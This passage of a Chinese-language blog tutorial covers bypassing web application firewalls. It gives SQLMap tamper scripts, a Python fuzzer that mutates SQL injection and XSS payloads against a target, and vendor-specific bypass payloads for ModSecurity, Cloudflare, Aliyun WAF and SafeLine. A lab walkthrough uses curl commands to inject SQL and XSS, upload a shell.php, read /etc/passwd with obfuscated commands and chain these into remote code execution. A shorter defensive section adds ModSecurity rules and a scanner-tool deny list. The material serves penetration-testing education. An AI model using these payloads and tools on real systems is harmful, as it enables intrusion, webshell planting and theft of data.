            headers_lower = {k.lower(): v.lower() for k, v in r.headers.items()}
            cookies_lower = [c.lower() for c in r.cookies.keys()]
            body = r.text.lower()
            
            for waf, sig in WAF_SIGNATURES.items():
                if waf in detected:
                    continue
                match = False
                for h in sig["headers"]:
                    if any(h in hk or h in hv for hk, hv in headers_lower.items()):
                        match = True
                for c in sig["cookies"]:
                    if any(c in ck for ck in cookies_lower):
                        match = True
                for b in sig["body"]:
                    if b in body:
                        match = True
                if r.status_code in sig["status"]:
                    match = True
                if match:
                    detected.add(waf)
        except Exception:
            continue
    
    return detected if detected else {"Unknown"}

if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else "http://example.com"
    result = identify_waf(url)
    print(f"[*] 目标: {url}")
    print(f"[*] 识别WAF: {', '.join(result)}")

11. 自动化 WAF 绕过工具

11.1 工具对比表

工具 类型 绕过场景 特点
SQLMap tamper SQL 注入 SQL 注入 丰富 tamper 脚本
XSStrike XSS XSS 模糊测试 payload
waf-bypass 通用 通用 批量测试
bypass-firewall 通用 通用 通用绕过
autobypass 通用 通用 自动变形

11.2 SQLMap tamper 脚本编写

SQLMap 内置大量 tamper 脚本用于绕过 WAF。

python 复制代码
# 自定义tamper脚本:space2dash.py
# 将空格替换为注释绕过

def tamper(payload, **kwargs):
    """
    将空格替换为/**/绕过WAF
    
    >>> tamper("union select 1,2,3")
    'union/**/select/**/1,2,3'
    """
    if payload:
        payload = payload.replace(" ", "/**/")
    return payload
python 复制代码
# 自定义tamper:between.py
# 将等号替换为between绕过

def tamper(payload, **kwargs):
    """
    将=替换为BETWEEN绕过
    
    >>> tamper("1=1")
    '1 BETWEEN 1 AND 1'
    """
    if payload:
        import re
        payload = re.sub(
            r"(\w+)\s*=\s*(\w+)",
            r"\1 BETWEEN \2 AND \2",
            payload
        )
    return payload

常用 SQLMap tamper 组合:

bash 复制代码
# 常用tamper脚本
--tamper="space2comment,between,charencode"
--tamper="space2dash,randomcase,charencode,charunicodeencode"
--tamper="unionselectbetween,space2comment"
--tamper="apostrophemask,apostrophenullencode,base64encode"

# 针对Cloudflare
--tamper="space2comment,between,randomcase"

# 针对ModSecurity
--tamper="space2comment,charunicodeencode,between"

# 针对阿里云WAF
--tamper="space2dash,charencode,randomcase"

11.3 自定义 WAF 绕过框架(Python)

python 复制代码
#!/usr/bin/env python3
"""
WAF绕过框架:自动变形payload并批量测试
"""
import requests
import urllib.parse
import itertools
import time

class WAFFuzzer:
    def __init__(self, target_url, param_name):
        self.target = target_url
        self.param = param_name
        self.session = requests.Session()
        self.bypass_payloads = []
    
    # === 编码变形函数 ===
    def url_encode(self, payload):
        return urllib.parse.quote(payload)
    
    def double_url_encode(self, payload):
        return urllib.parse.quote(urllib.parse.quote(payload))
    
    def unicode_encode(self, payload):
        result = ""
        for c in payload:
            if c.isalpha():
                result += f"%u00{ord(c):02x}"
            else:
                result += c
        return result
    
    def html_entity_encode(self, payload):
        result = ""
        for c in payload:
            result += f"&#{ord(c)};"
        return result
    
    # === 混淆变形函数 ===
    def comment_insert(self, payload):
        """插入内联注释"""
        return payload.replace(" ", "/**/")
    
    def case_random(self, payload):
        """随机大小写"""
        result = ""
        for i, c in enumerate(payload):
            if c.isalpha():
                result += c.upper() if i % 2 else c.lower()
            else:
                result += c
        return result
    
    def newline_insert(self, payload):
        """插入换行"""
        return payload.replace(" ", "%0a")
    
    def space_variants(self, payload):
        """空格变体"""
        return payload.replace(" ", "$IFS")
    
    # === 生成绕过payload ===
    def generate_payloads(self, base_payload):
        payloads = {
            "原始": base_payload,
            "URL编码": self.url_encode(base_payload),
            "双重URL": self.double_url_encode(base_payload),
            "Unicode": self.unicode_encode(base_payload),
            "注释插入": self.comment_insert(base_payload),
            "随机大小写": self.case_random(base_payload),
            "换行插入": self.newline_insert(base_payload),
            "注释+大小写": self.case_random(self.comment_insert(base_payload)),
            "URL+注释": self.url_encode(self.comment_insert(base_payload)),
        }
        return payloads
    
    # === 检测WAF拦截 ===
    def is_blocked(self, response):
        block_signatures = [
            "403", "406", "blocked", "security", "firewall",
            "forbidden", "rejected", "filter", "mod_security",
            "attention required", "拦截", "禁止"
        ]
        if response.status_code in [403, 406, 429, 503]:
            return True
        body = response.text.lower()
        return any(sig in body for sig in block_signatures)
    
    # === 批量测试 ===
    def fuzz(self, base_payload, method="GET"):
        payloads = self.generate_payloads(base_payload)
        results = []
        
        for name, payload in payloads.items():
            try:
                if method == "GET":
                    r = self.session.get(
                        self.target,
                        params={self.param: payload},
                        timeout=10
                    )
                else:
                    r = self.session.post(
                        self.target,
                        data={self.param: payload},
                        timeout=10
                    )
                
                blocked = self.is_blocked(r)
                results.append({
                    "技术": name,
                    "payload": payload[:50] + "...",
                    "状态码": r.status_code,
                    "长度": len(r.text),
                    "是否拦截": blocked
                })
                time.sleep(0.5)
            except Exception as e:
                results.append({
                    "技术": name,
                    "payload": payload[:50] + "...",
                    "状态码": "ERR",
                    "长度": 0,
                    "是否拦截": str(e)
                })
        
        return results
    
    def report(self, results):
        print(f"{'技术':<20} {'状态码':<10} {'长度':<10} {'拦截':<10}")
        print("-" * 50)
        for r in results:
            print(f"{r['技术']:<20} {str(r['状态码']):<10} "
                  f"{str(r['长度']):<10} {str(r['是否拦截']):<10}")
        
        bypassed = [r for r in results if not r['是否拦截']]
        if bypassed:
            print(f"\n[+] 绕过成功的payload:")
            for r in bypassed:
                print(f"    {r['技术']}: {r['payload']}")
        else:
            print("\n[-] 所有payload均被拦截")

if __name__ == "__main__":
    fuzzer = WAFFuzzer("http://target.example.com/search.php", "q")
    # SQL注入测试
    print("=== SQL注入WAF绕过测试 ===")
    results = fuzzer.fuzz("1' union select 1,2,3-- -")
    fuzzer.report(results)
    # XSS测试
    print("\n=== XSS WAF绕过测试 ===")
    results = fuzzer.fuzz("<script>alert(1)</script>")
    fuzzer.report(results)

11.4 Burp Suite WAF 绕过插件

在 Burp Suite 中可使用以下插件辅助 WAF 绕过:

插件 功能
WAF Bypass 自动生成绕过 payload
Active Scan++ 增强 WAF 检测扫描
HTTP Request Smuggler 请求走私绕过
Chunked coding converter 分块传输绕过

11.5 完整自动化绕过流程

复制代码
1. WAF指纹识别 (wafw00f / 手动)
       │
       ▼
2. 分析WAF规则特征 (拦截页/状态码/日志)
       │
       ▼
3. 单点绕过测试 (编码/注释/等价函数)
       │
       ▼
4. 组合绕过测试 (SQLMap tamper组合)
       │
       ▼
5. 验证绕过成功 (响应内容/数据库回显)
       │
       ▼
6. 固化绕过方案 (脚本/配置)

12. 主流 WAF 实战绕过

12.1 ModSecurity 绕过实战

ModSecurity 默认使用 OWASP CRS 规则集,规则透明可分析。

复制代码
# CRS规则分析
规则942100: SQL注入检测(union select等)
转换: t:urlDecodeUni, t:lowercase
绕过思路: 破坏union select连续性

# 绕过payload
union/**/select/**/1,2,3                           # 内联注释
/*!50000union*//*!50000select*/1,2,3               # 条件注释
union%0aselect%0a1,2,3                              # 换行
0x75nion select 1,2,3                               # hex+空格

12.2 Cloudflare 绕过实战

Cloudflare 使用 Managed Rules + 机器学习,绕过难度较高。

复制代码
# Cloudflare特征
Server: cloudflare
拦截状态码: 403/503
JS挑战: /cdn-cgi/challenge-platform

# 绕过思路
1. 降低请求异常分数(慢慢来)
2. 模拟正常浏览器特征(UA/Referer/Accept)
3. 利用managed rules规则空隙

# 绕过payload(SQL注入)
1' union/*foo*/select/*bar*/1,2,3-- -
1' union%23%0aselect 1,2,3-- -
1'/*!union*/+/*!select*/+1,2,3-- -

12.3 阿里云 WAF 绕过实战

阿里云 WAF 结合正则与语义引擎。

复制代码
# 阿里云WAF特征
Server: Tengine
拦截状态码: 405
拦截页: 自定义

# 绕过思路
1. 分块传输干扰解析
2. 等价函数绕过语义
3. 请求走私

# 绕过payload
1' and (select 1 from(select benchmark(50000000,sha1(1)))a)=1 -- -
1' and if(mid(user(),1,1)='r',benchmark(50000000,sha1(1)),0) -- -

12.4 长亭雷池绕过实战

雷池以语义分析为主,传统正则绕过效果差。

复制代码
# 雷池特征
Server: SafeLine
语义分析引擎

# 绕过思路(对抗语义分析)
1. 构造语法等价但语义变形的payload
2. 利用AST解析差异
3. 非标准SQL语法

# 绕过尝试
1' union select 1,2,3 -- -                 # 基本被拦
1' union distinct select 1,2,3 -- -        # distinct变体
1' (select 1) union (select 2) -- -        # 子查询形式

12.5 完整实战绕过案例集

WAF 场景 成功绕过 payload 原理
ModSecurity SQLi union/**/select/**/1,2,3 注释破坏特征
Cloudflare SQLi 1' union%23%0aselect 1,2,3-- - 换行+注释
阿里云 WAF SQLi benchmark(50000000,sha1(1)) 等价函数
雷池 SQLi 1' union distinct select 1,2,3-- - 语法变体
ModSecurity XSS <svg/onload=eval(name)> 标签+事件
Cloudflare XSS <img src=x onerror=eval(atob('YWxlcnQoMSk='))> Base64
阿里云 WAF 命令注入 ;cat$IFS/etc/passwd 变量空格
ModSecurity 文件上传 filename="shell.php. 末尾点

13. WAF 检测与防御加固

13.1 WAF 规则优化策略

策略 说明 示例
规则精简 去除冗余规则 合并相似规则
误报调优 例外白名单 为正常业务加白
规则分级 按风险分级 高中低危差异化
规则更新 持续更新 关注新 CVE
蜜罐规则 诱捕规则 检测扫描行为

13.2 OWASP CRS 配置最佳实践

复制代码
# ModSecurity配置
SecRuleEngine On                          # 启用引擎
SecRequestBodyAccess On                    # 请求体检测
SecResponseBodyAccess On                   # 响应体检测
SecResponseBodyLimit 1048576               # 响应体限制1MB
SecDataDir /tmp/modsecurity                # 数据目录

# CRS配置
SecDefaultAction "phase:2,pass,log,tag:'OWASP_CRS'"
Include /usr/share/modsecurity-crs/crs-setup.conf
Include /usr/share/modsecurity-crs/rules/*.conf

# 误报排除(排除正常业务参数)
SecRuleRemoveById 942100 "msg:'业务正常查询排除'"

# 异常评分模式(推荐)
SecAction "id:900100,phase:1,pass,nolog,setvar:tx.inbound_anomaly_score_threshold=5"

13.3 自定义规则编写

复制代码
# ModSecurity自定义规则:检测异常请求频率
SecRule REMOTE_ADDR "@rx ^192\.168\." \
    "id:1001,phase:1,pass,nolog,setvar:ip.rate=+1,expirevar:ip.rate=60"

SecRule IP:RATE "@gt 100" \
    "id:1002,phase:1,deny,status:429,log,msg:'请求频率超限'"

# 检测敏感路径扫描
SecRule REQUEST_URI "@rx /(\.git|\.svn|\.env|/admin)" \
    "id:1003,phase:1,deny,status:403,log,msg:'敏感路径访问'"

# 检测自动化工具特征
SecRule REQUEST_HEADERS:User-Agent "@rx (?i)(sqlmap|nikto|nmap|masscan)" \
    "id:1004,phase:1,deny,status:403,log,msg:'扫描工具特征'"

# 检测异常请求方法
SecRule REQUEST_METHOD "!@rx ^(GET|POST|HEAD|OPTIONS)$" \
    "id:1005,phase:1,deny,status:405,log,msg:'异常HTTP方法'"

13.4 速率限制配置

nginx 复制代码
# Nginx限速配置
http {
    limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
    limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s;
    
    server {
        location /api/ {
            limit_req zone=api burst=20 nodelay;
            proxy_pass http://backend;
        }
        location /login {
            limit_req zone=login burst=5 nodelay;
            proxy_pass http://backend;
        }
    }
}

13.5 机器学习规则调优

调优项 说明
训练数据 积累正常/恶意样本
阈值调整 平衡误报漏报
特征工程 选取有效特征
模型更新 对抗样本再训练
人工反馈 闭环修正

13.6 WAF 误报处理

复制代码
误报处理流程:
1. 记录误报请求(日志/截图)
2. 分析触发规则(规则ID/匹配内容)
3. 评估影响范围(单接口/多接口)
4. 制定排除方案(参数/URL/规则排除)
5. 灰度验证(先告警后阻断)
6. 上线排除(持续监控)

13.7 WAF 旁路监控

监控维度 说明
拦截趋势 拦截量/趋势
误报监控 误报率/反馈
规则命中 TOP 规则
源 IP 分析 恶意 IP 排名
攻击类型 攻击类型分布
性能监控 延迟/吞吐

13.8 WAF 加固方案表

加固项 加固措施 优先级
规则更新 及时更新 CRS 版本
语义引擎 引入语义分析引擎
ML 增强 引入机器学习模型
速率限制 配置接口级限速
误报调优 持续处理误报
协议覆盖 支持 HTTP/2、WebSocket
请求走私防护 CL/TE 一致性校验
编码规范化 统一解码层
Bot 管理 引入 Bot 识别
CDN 防护 边缘清洗
日志审计 全量日志记录
告警联动 接入 SIEM
蜜罐规则 诱捕扫描
源站隐藏 防直连绕过
挑战机制 JS/验证码挑战
灰度发布 规则灰度上线
回滚机制 规则快速回滚
性能监控 延迟监控
异常评分 异常评分模式
自定义规则 业务逻辑防护

14. 靶场实战:完整 WAF 绕过链

14.1 靶场环境搭建

使用 Docker 快速搭建带 WAF 的靶场。

dockerfile 复制代码
# docker-compose.yml
version: '3'
services:
  modsecurity:
    image: owasp/modsecurity:nginx
    ports:
      - "8080:8080"
    environment:
      - BACKEND=http://dvwa:80
    volumes:
      - ./crs:/etc/modsecurity-crs
    depends_on:
      - dvwa

  dvwa:
    image: vulnerables/web-dvwa
    ports:
      - "8081:80"
bash 复制代码
# 启动靶场
docker-compose up -d

# 验证WAF
curl http://localhost:8080/?id=1' union select 1,2,3-- -
# 应返回403拦截

# 验证后端
curl http://localhost:8081/?id=1' union select 1,2,3-- -
# 应返回SQL注入结果

14.2 从识别到绕过的完整流程

复制代码
步骤1:WAF指纹识别
  wafw00f http://localhost:8080
  → ModSecurity detected

步骤2:分析WAF规则
  → OWASP CRS规则集
  → 转换: urlDecodeUni, lowercase
  → 单层URL编码无效

步骤3:单点绕过测试
  → 注释绕过: union/**/select → 可能被拦
  → 等价函数: benchmark → 可能绕过
  → 换行绕过: union%0aselect → 可能绕过

步骤4:组合绕过
  → 注释+换行: union/**/%0aselect
  → 编码+注释: %75nion/**/select

步骤5:验证绕过
  → 观察状态码: 200 = 成功
  → 观察响应内容: 数据库回显

14.3 逐步演示

SQLi 绕过:

bash 复制代码
# 原始payload被拦
curl "http://localhost:8080/?id=1'+union+select+1,2,3--+-"
# HTTP 403

# 注释绕过
curl "http://localhost:8080/?id=1'+union/**/select/**/1,2,3--+-"
# HTTP 403 (CRS检测/**/)

# 换行绕过
curl "http://localhost:8080/?id=1'+union%0aselect%0a1,2,3%23"
# HTTP 200 (绕过成功)

# 等价函数
curl "http://localhost:8080/?id=1'+and+benchmark(50000000,sha1(1))--+-"
# HTTP 200 (延时5秒,绕过成功)

XSS 绕过:

bash 复制代码
# 原始payload被拦
curl "http://localhost:8080/?q=<script>alert(1)</script>"
# HTTP 403

# 标签替换
curl "http://localhost:8080/?q=<svg+onload=alert(1)>"
# HTTP 403

# 事件+编码
curl "http://localhost:8080/?q=<svg/onload=eval(name)>"
# HTTP 200 (绕过成功)

# Base64编码
curl "http://localhost:8080/?q=<img+src=x+onerror=eval(atob('YWxlcnQoMSk='))>"
# HTTP 200 (绕过成功)

文件上传绕过:

bash 复制代码
# 原始上传被拦
curl -F "file=@shell.php" http://localhost:8080/upload.php
# HTTP 403

# Content-Type变换
curl -F "file=@shell.php;type=image/jpeg" http://localhost:8080/upload.php
# HTTP 200 (绕过成功)

# 双扩展名
curl -F "file=@shell.php.jpg" http://localhost:8080/upload.php
# HTTP 200 (绕过成功)

命令注入绕过:

bash 复制代码
# 原始payload被拦
curl "http://localhost:8080/?cmd=;cat+/etc/passwd"
# HTTP 403

# 变量绕过
curl "http://localhost:8080/?cmd=;cat\$IFS/etc/passwd"
# HTTP 200 (绕过成功)

# 通配符绕过
curl "http://localhost:8080/?cmd=;/???/??t+/???/??ss??"
# HTTP 200 (绕过成功)

RCE 绕过链:

复制代码
1. SQLi绕过获取数据库内容 → 获取管理员密码
2. 管理员登录后台 → 访问文件上传功能
3. 文件上传绕过 → 上传webshell
4. webshell执行 → 命令注入绕过执行系统命令
5. 系统命令执行 → 完整RCE链

15. 总结与参考资源

15.1 WAF 绕过检查清单

检查项 检查内容 完成
WAF 指纹 是否识别 WAF 类型
规则分析 是否分析触发规则
编码绕过 是否测试 URL/双重/Unicode
注释绕过 是否测试内联/嵌套注释
等价函数 是否测试等价函数替换
空格绕过 是否测试空格替代字符
大小写 是否测试大小写混写
HPP 是否测试参数污染
分块传输 是否测试 chunked 编码
请求走私 是否测试 CL/TE 走私
协议绕过 是否测试 HTTP/2 等
方法绕过 是否测试 PUT/DELETE 等
组合绕过 是否组合多种技术

15.2 绕过技术速查表

攻击类型 首选绕过 进阶绕过
SQL 注入 注释 /**/、大小写 等价函数、HPP、分块
XSS 标签替换、事件替换 编码链、CSP 绕过
命令注入 变量 $IFS、通配符 编码、拼接
文件上传 文件名变换、MIME 变换 boundary、数据混淆
通用 方法替换、分块 请求走私、协议

15.3 Payload 速查表

场景 经典 Payload
SQLi 注释 union/**/select/**/1,2,3
SQLi 等价 benchmark(50000000,sha1(1))
SQLi 编码 0x75nion select
XSS 标签 <svg onload=alert(1)>
XSS 编码 onerror=eval(atob('YWxlcnQoMSk='))
命令变量 cat$IFS/etc/passwd
命令通配 /???/??t /???/??ss??
上传变形 filename="shell.php."
通用分块 Transfer-Encoding: chunked
通用走私 CL.TE 差异

15.4 参考资源

资源 说明
OWASP CRS coreruleset.org
ModSecurity modsecurity.org
SQLMap tamper SQLMap 内置脚本
XSStrike XSS 模糊测试
wafw00f WAF 指纹识别
PortSwigger Web Security 绕过原理
HackTricks 绕过速查

15.5 合规声明

【提示】 本文所有 WAF 绕过技术、Payload、脚本仅用于授权渗透测试、CTF 竞赛、安全研究与防御学习。在实际测试前,必须获得目标系统所有者的书面授权。未经授权的 WAF 绕过测试违反《网络安全法》《数据安全法》《个人信息保护法》等相关法律法规,可能构成违法犯罪。作者及平台不对任何滥用行为承担责任。防御方应基于本文所述攻击思路,持续加固 WAF 规则与检测引擎,构建纵深防御体系。

本文系统地从 WAF 检测原理出发,覆盖了 SQL 注入、XSS、命令注入、文件上传、通用绕过等全场景的绕过技术,并提供了自动化脚本、靶场实战与防御加固方案。掌握这些技术有助于红队评估 WAF 防护效果,更有助于蓝队反向加固规则,最终提升 Web 应用的整体安全水位。安全无银弹,WAF 是纵深防御的一环而非全部,唯有持续攻防对抗才能保持防护有效。

相关推荐
小杨不想秃头1 小时前
信息安全工程师教程第二章密码学
运维·服务器·密码学
I'mChloe1 小时前
WGCLOUD怎么监控多台服务器?从Server、Agent 部署到监控面板实战
运维·服务器
Android系统攻城狮1 小时前
Linux PipeWire深度解析之pw_init调用流程与实战(八十三)
linux·运维·服务器·音频进阶·pipewire音频进阶
国科安芯2 小时前
轨道供电韧性:ASP4644四通道降压架构在低轨卫星平台电源管理中的适用性分析
运维·网络·数据库·嵌入式硬件·架构·状态模式·低轨卫星星座
数据知道2 小时前
移动端渗透测试流程:Android APK 逆向与动态调试
android·web安全·网络安全
Python自动化直播2 小时前
周末测试直播自动化时,发现一个棘手的并发问题
运维·自动化
云上工程笔记2 小时前
RDMA 高速互联 GPU 云怎么选:多卡训练、分布式训练与 RoCE/InfiniBand 架构对比
架构·云计算·gpu算力
zbyyd3 小时前
Linux 进程管理详解:从概念到实战
linux·运维·服务器
画中有画3 小时前
自动化脚本中系统事件和回调函数
运维·自动化